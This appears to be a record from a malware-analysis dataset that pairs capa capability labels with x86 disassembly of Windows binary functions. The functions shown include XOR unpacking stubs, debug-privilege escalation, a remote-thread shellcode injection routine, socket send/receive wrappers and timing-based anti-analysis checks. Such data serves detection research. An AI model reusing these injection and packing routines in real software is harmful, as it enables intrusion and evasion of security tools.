joyce8/EMBER2024-capa huggingface dataset:
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43300c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219

Function at 0x430001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..pdata
nop
mov ebx, 0x408f6c
nop
nop
mov ecx, 0x20666bde
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..pdata_1
mov ebx, 0x42e3d0
nop
nop
mov ecx, 0x75cf67b3
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x1000d5e0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x40
mov eax, dword [0x1005400c]
xor eax, esp
mov dword [esp + 0x3c], eax
lea eax, [esp]
mov dword [esp], 0
xorps xmm0, xmm0
mov dword [esp + 4], 0x10
push eax
push 0x28
movaps xmmword [esp + 0x28], xmm0
movlpd qword [esp + 0x10], xmm0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1000d635
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x1000d654
jmp 0x1000d6a8
lea eax, [esp + 8]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x1000d667
push dword [esp]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [esp + 0x3c]
xor ecx, esp
call fcn.1001ba30
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x14], eax
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x24]
mov dword [esp + 0x14], 1
push eax
push 0x10
lea eax, [esp + 0x1c]
mov dword [esp + 0x24], ecx
push eax
push 0
push dword [esp + 0x14]
mov dword [esp + 0x34], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1000d654
mov ecx, dword [esp + 0x3c]
mov eax, 1
xor ecx, esp
call fcn.1001ba30
mov esp, ebp
pop ebp
ret 4
Function at 0x10012160
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003ae70
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1005400c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0xc]
push eax
push 0
push 0x1fffff
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov dword [ebp - 0x2c], esi
test esi, esi
je 0x1001230e
push 0x40
push 0x1000
push 0x4a8
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
mov dword [ebp - 0x28], ebx
test ebx, ebx
je 0x10012318
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0
push eax
push 0x4a8
push 0x1004ec88
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10012340
cmp dword [ebp - 0x18], 0x4a8
jne 0x10012340
push 0
push 0
push 0
push ebx
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edi, eax
mov dword [ebp - 0x20], edi
test edi, edi
je 0x10012322
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x1001232c
mov edx, dword [ebp - 0x1c]
cmp edx, 1
jne 0x10012336
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call ebx
mov ecx, dword [ebp - 0x30]
xor eax, eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x24]
push edi
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [ecx + 8], eax
call ebx
mov edi, dword [ebp - 0x20]
jmp 0x100122e7
test esi, esi
je 0x100122ee
push esi
call ebx
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1001ba30
mov esp, ebp
pop ebp
ret 8
mov ecx, str.api_call_exception:OpenProcess
call fcn.1000e4c0
mov ecx, str.api_call_exception:VirtualAllocEx
call fcn.1000e4c0
mov ecx, str.api_call_exception:CreateRemoteThread
call fcn.1000e4c0
mov ecx, str.api_call_exception:GetExitCodeThread
call fcn.1000e4c0
mov ecx, str.internal_error:ExitCode
call fcn.1000e560
mov ecx, str.api_call_exception:WriteProcessMemory
call fcn.1000e4c0
int3
Function at 0x10013b60
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003af94
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x1005400c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x14], 0
mov dword [edi], 0x1004eb50
mov dword [edi + 0x58], 0
mov dword [edi + 0x78], 0
mov dword [edi + 0x7c], 0
mov dword [edi + 0x80], 0
mov dword [edi + 0x50], vtable.std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__.0
mov dword [ebp - 4], 0
mov eax, dword [edi]
mov dword [ebp - 0x14], 1
mov eax, dword [eax + 4]
mov dword [edi + eax], vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [edi]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ecx + edi - 4], eax
mov eax, dword [edi]
mov esi, dword [eax + 4]
add esi, edi
mov ecx, esi
call fcn.1000e290
mov eax, dword [esi + 0x30]
lea ebx, [edi + 4]
mov dword [esi + 0x38], ebx
mov dword [esi + 0x3c], 0
mov ecx, dword [eax + 4]
mov dword [ebp - 0x1c], ecx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x20]
mov dword [ebp - 4], 2
push eax
call fcn.10016380
add esp, 4
mov ecx, eax
mov edx, dword [eax]
push 0x20
call dword [edx + 0x30]
movzx ecx, ax
mov dword [ebp - 0x18], ecx
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x10013c4d
mov eax, dword [ecx]
call dword [eax + 8]
test eax, eax
je 0x10013c4d
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
cmp dword [esi + 0x38], 0
mov eax, dword [ebp - 0x18]
mov word [esi + 0x40], ax
jne 0x10013c6a
mov eax, dword [esi + 0xc]
mov ecx, esi
push 0
or eax, 4
push eax
call fcn.1000e220
mov dword [ebp - 4], 3
mov eax, dword [edi]
push 8
mov dword [ebp - 0x18], ebx
mov eax, dword [eax + 4]
mov dword [edi + eax], vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov eax, dword [edi]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x50]
mov dword [ecx + edi - 4], eax
mov dword [ebx], vtable.std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__.0
call fcn.1001bc71
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov byte [ebp - 4], 4
call fcn.1001cd31
mov dword [esi + 4], eax
add esp, 8
lea eax, [edi + 4]
mov dword [eax + 0x34], esi
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea esi, [eax + 8]
mov dword [eax + 0x10], esi
lea edi, [eax + 0x14]
mov dword [eax + 0x1c], edi
lea ecx, [eax + 0x18]
mov dword [eax + 0x20], ecx
lea edx, [eax + 0x24]
mov dword [eax + 0x2c], edx
add eax, 0x28
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebx + 0x34], eax
mov ebx, dword [ebp - 0x18]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 0
mov dword [eax + 4], vtable.std::basic_stringbuf_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov dword [eax + 0x3c], 0
mov dword [eax + 0x40], 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10016bb0
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], eax
mov esi, dword [edi + 4]
mov edx, esi
mov eax, dword [esi + 4]
cmp byte [eax + 0xd], 0
jne 0x10016be8
cmp dword [eax + 0x10], ecx
jge 0x10016bde
mov eax, dword [eax + 8]
jmp 0x10016be2
mov edx, eax
mov eax, dword [eax]
cmp byte [eax + 0xd], 0
je 0x10016bd4
cmp byte [edx + 0xd], 0
jne 0x10016c26
cmp ecx, dword [edx + 0x10]
jl 0x10016c26
cmp esi, edx
je 0x10016c26
push dword [ebp + 0x14]
and ecx, 0x7fffffff
push ebx
push ecx
call dword [sym.imp.WS2_32.dll_connect]
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
cmp eax, 0xffffffff
jne 0x10016c1b
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [edi + 0x14], eax
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x14
pop edi
pop esi
mov eax, 0x80070490
pop ebx
mov esp, ebp
pop ebp
ret 0x14

Function at 0x10016e80
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 8], eax
mov esi, dword [edi + 4]
mov edx, esi
mov eax, dword [esi + 4]
cmp byte [eax + 0xd], 0
jne 0x10016ec4
nop dword [eax]
cmp dword [eax + 0x10], ecx
jge 0x10016eba
mov eax, dword [eax + 8]
jmp 0x10016ebe
mov edx, eax
mov eax, dword [eax]
cmp byte [eax + 0xd], 0
je 0x10016eb0
cmp byte [edx + 0xd], 0
jne 0x10016f02
cmp ecx, dword [edx + 0x10]
jl 0x10016f02
cmp esi, edx
je 0x10016f02
push dword [ebp - 4]
and ecx, 0x7fffffff
push ebx
push ecx
call dword [sym.imp.WS2_32.dll_getsockname]
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
cmp eax, 0xffffffff
jne 0x10016ef7
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [edi + 0x14], eax
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x14
pop edi
pop esi
mov eax, 0x80070490
pop ebx
mov esp, ebp
pop ebp
ret 0x14
Function at 0x100175f0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x18]
mov edx, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 8], eax
mov esi, dword [edi + 4]
mov ecx, esi
mov eax, dword [esi + 4]
cmp byte [eax + 0xd], 0
jne 0x10017634
nop dword [eax]
cmp dword [eax + 0x10], edx
jge 0x1001762a
mov eax, dword [eax + 8]
jmp 0x1001762e
mov ecx, eax
mov eax, dword [eax]
cmp byte [eax + 0xd], 0
je 0x10017620
cmp byte [ecx + 0xd], 0
jne 0x1001767c
cmp edx, dword [ecx + 0x10]
jl 0x1001767c
cmp esi, ecx
je 0x1001767c
push 0
push 0
push dword [ebp + 0x1c]
and edx, 0x7fffffff
push dword [ebp - 4]
push dword [ebp + 0x14]
push ebx
push edx
call dword [sym.imp.WS2_32.dll_WSASend]
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
cmp eax, 0xffffffff
jne 0x10017671
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [edi + 0x14], eax
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x1c
pop edi
pop esi
mov eax, 0x80070490
pop ebx
mov esp, ebp
pop ebp
ret 0x1c

Function at 0x10017690
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x18]
mov edx, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 4], eax
mov esi, dword [edi + 4]
mov ecx, esi
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0xc], eax
mov eax, dword [esi + 4]
cmp byte [eax + 0xd], 0
jne 0x100176d6
cmp dword [eax + 0x10], edx
jge 0x100176cc
mov eax, dword [eax + 8]
jmp 0x100176d0
mov ecx, eax
mov eax, dword [eax]
cmp byte [eax + 0xd], 0
je 0x100176c2
cmp byte [ecx + 0xd], 0
jne 0x1001771e
cmp edx, dword [ecx + 0x10]
jl 0x1001771e
cmp esi, ecx
je 0x1001771e
push 0
push 0
push dword [ebp - 4]
and edx, 0x7fffffff
push dword [ebp - 8]
push dword [ebp + 0x14]
push ebx
push edx
call dword [sym.imp.WS2_32.dll_WSARecv]
mov ecx, dword [ebp - 0xc]
mov dword [ecx], eax
cmp eax, 0xffffffff
jne 0x10017713
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [edi + 0x14], eax
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x1c
pop edi
pop esi
mov eax, 0x80070490
pop ebx
mov esp, ebp
pop ebp
ret 0x1c
Function at 0x100184cb
Capabilities:
Check for time delay via gettickcount

Disassembly:
pop edx
adc eax, eax
not ecx
sub eax, eax
add eax, eax
jge 0x100a60b0
lea edx, [edx + ecx*2 - 0x2a3bee7e]
xor ebx, edx
add esi, edx
bswap ecx
shl eax, 0x6d
jb 0x100cd3dc
xor ebx, ecx
mov dword [eax + edi - 4], ecx
shr eax, 0xac
lea eax, [eax + eax*4 + 0x5f04ff35]
movsx ecx, ax
lea edi, [edi + eax - 0x5f04ff39]
jns fcn.1001868a

Function at 0x10018a40
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1005400c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x1c]
lea ecx, [ebp - 5]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
push ecx
mov dword [ebp - 0xc], eax
push esi
mov eax, dword [edi]
push edi
mov byte [ebp - 5], 0
call dword [eax + 0xc]
test eax, eax
js 0x10018ac8
cmp byte [ebp - 5], 0
je 0x10018ac8
mov ecx, dword [edi - 0x74]
lea eax, [edi - 0x74]
push 0
push dword [ebp + 0x14]
push ebx
push eax
call dword [ecx + 0x18]
test eax, eax
jns 0x10018ac8
mov ecx, 0x1007a8d0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10018a97
sub ecx, edx
push 0x1004f498
push 0x100
push 0x1007a8d0
lea eax, [ecx + 2]
cmp eax, 0x100
jae 0x10018ac0
call fcn.100271c2
jmp 0x10018ac5
call fcn.10027046
add esp, 0xc
mov edx, dword [edi + 4]
mov ecx, edx
mov eax, dword [edx + 4]
cmp byte [eax + 0xd], 0
jne 0x10018aea
cmp dword [eax + 0x10], esi
jge 0x10018ae0
mov eax, dword [eax + 8]
jmp 0x10018ae4
mov ecx, eax
mov eax, dword [eax]
cmp byte [eax + 0xd], 0
je 0x10018ad6
cmp byte [ecx + 0xd], 0
jne 0x10018b35
cmp esi, dword [ecx + 0x10]
jl 0x10018b35
cmp edx, ecx
je 0x10018b35
push dword [ebp + 0x18]
and esi, 0x7fffffff
push dword [ebp + 0x14]
push ebx
push esi
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [ebp - 0xc]
mov dword [ecx], eax
cmp eax, 0xffffffff
jne 0x10018b20
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [edi + 0x14], eax
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001ba30
mov esp, ebp
pop ebp
ret 0x18
mov ecx, dword [ebp - 4]
mov eax, 0x80070490
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001ba30
mov esp, ebp
pop ebp
ret 0x18

Function at 0x1001a5d0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003b53d
mov eax, dword fs:[0]
push eax
sub esp, 0x5c
mov eax, dword [0x1005400c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x14]
mov ebx, dword [ebp + 0xc]
mov edi, dword [ebp + 0x24]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp + 0x18]
push 0x1004f864
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x44], eax
mov dword [ebp - 4], 0
jmp fcn.100e2247
Function at 0x10027a02
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10027a41
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10027a41
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10027a41
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10027a41
cmp dword [ecx + 0x74], 0xe
jbe 0x10027a41
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x1002a620
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1002a5a2

Function at 0x1002b05a
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1003fd50
push 0x1003fd48
push str.FlsAlloc
push 0x1f
call fcn.1002aea2
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1002b08e
push dword [ebp + 8]
mov ecx, esi
call dword [0x1003c234]
call esi
jmp 0x1002b094
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1002b0d8
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1003fd60
push 0x1003fd58
push str.FlsGetValue
push 0x21
call fcn.1002aea2
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1002b10f
push dword [ebp + 8]
mov ecx, esi
call dword [0x1003c234]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1002b117
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1003fd68
push 0x1003fd60
push str.FlsSetValue
push 0x22
call fcn.1002aea2
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1002b151
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1003c234]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x100312ea
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10031387
push ebx
push esi
call fcn.100312b3
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10031247
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10031334
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10031386
push edi
push eax
call fcn.1002e11d
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10031354
call fcn.1002ab8f
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10031385
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10031247
add esp, 0x20
test eax, eax
jne 0x10031373
push edi
call fcn.1002ab8f
jmp 0x1003137b
push ebx
call fcn.1002ab8f
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10035dd5
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.1002c76d
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x10035e44
cmp esi, dword [ebp - 4]
je 0x10035e3f
cmp dword [ebp + 0xc], 0
je 0x10035e3f
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x10035e1c
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.10035927
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x10035e46
xor eax, eax
inc eax
jmp 0x10035e46
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x10035eab
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1005400c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.1002c76d
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.1002c76d
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x10035f22
cmp word [ecx], dx
je 0x10035f22
mov eax, dword [0x10042c8c]
push edi
dec eax
push eax
push 0x10042b78
call fcn.10035e4a
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x10035f95
cmp word [eax], dx
je 0x10035f95
mov eax, dword [edi]
test eax, eax
je 0x10035f46
cmp word [eax], dx
je 0x10035f46
lea eax, [ebp - 0x10]
push eax
call fcn.1003582d
jmp 0x10035f4f
lea eax, [ebp - 0x10]
push eax
call fcn.100358c8
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x10035fbf
mov eax, dword [0x10042b74]
push dword [ebp - 0x14]
dec eax
push eax
push 0x10042868
call fcn.10035e4a
add esp, 0xc
test al, al
je 0x10035fbf
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x10035f8a
cmp word [eax], di
je 0x10035f8a
lea eax, [ebp - 0x10]
push eax
call fcn.1003582d
pop ecx
jmp 0x10035fc1
lea eax, [ebp - 0x10]
push eax
call fcn.100358c8
jmp 0x10035f87
mov eax, dword [edi]
test eax, eax
je 0x10035fac
cmp word [eax], dx
je 0x10035fac
lea eax, [ebp - 0x10]
push eax
call fcn.100357e2
pop ecx
jmp 0x10035fbf
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x1003608a
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.10035ccf
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x1003608a
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x1003608a
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x1003608a
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x10036017
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.1002b257
test ebx, ebx
je 0x10036085
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.1002b257
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1003608a
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1003608a
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.1002a2e6
add esp, 0x10
xor eax, eax
inc eax
jmp 0x1003608c
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001ba30
leave
ret